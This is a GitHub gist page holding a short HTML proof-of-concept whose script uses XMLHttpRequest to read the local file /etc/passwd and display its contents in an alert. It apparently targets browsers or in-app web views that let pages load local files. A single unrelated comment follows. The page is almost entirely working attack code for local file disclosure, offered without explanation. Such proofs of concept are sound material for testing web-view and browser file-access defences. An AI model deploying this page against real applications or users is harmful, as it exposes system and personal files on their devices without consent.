Skip to content

Instantly share code, notes, and snippets.

@soapyigu
Created March 3, 2018 07:36
Show Gist options
  • Save soapyigu/d472ae542e606e2cb7e72caac5ff1f6a to your computer and use it in GitHub Desktop.
Save soapyigu/d472ae542e606e2cb7e72caac5ff1f6a to your computer and use it in GitHub Desktop.
<!DOCTYPE html>
<html>
<body>
<script>
var localfile = "/etc/passwd"
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
alert(xhr.responseText);
}
}
try {
xhr.open("GET", localfile, true);
xhr.send();
} catch (ex) {
alert(ex.message);
}
</script>
</body>
</html>
@lapendos94
Copy link

Hanifa.lapendos

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment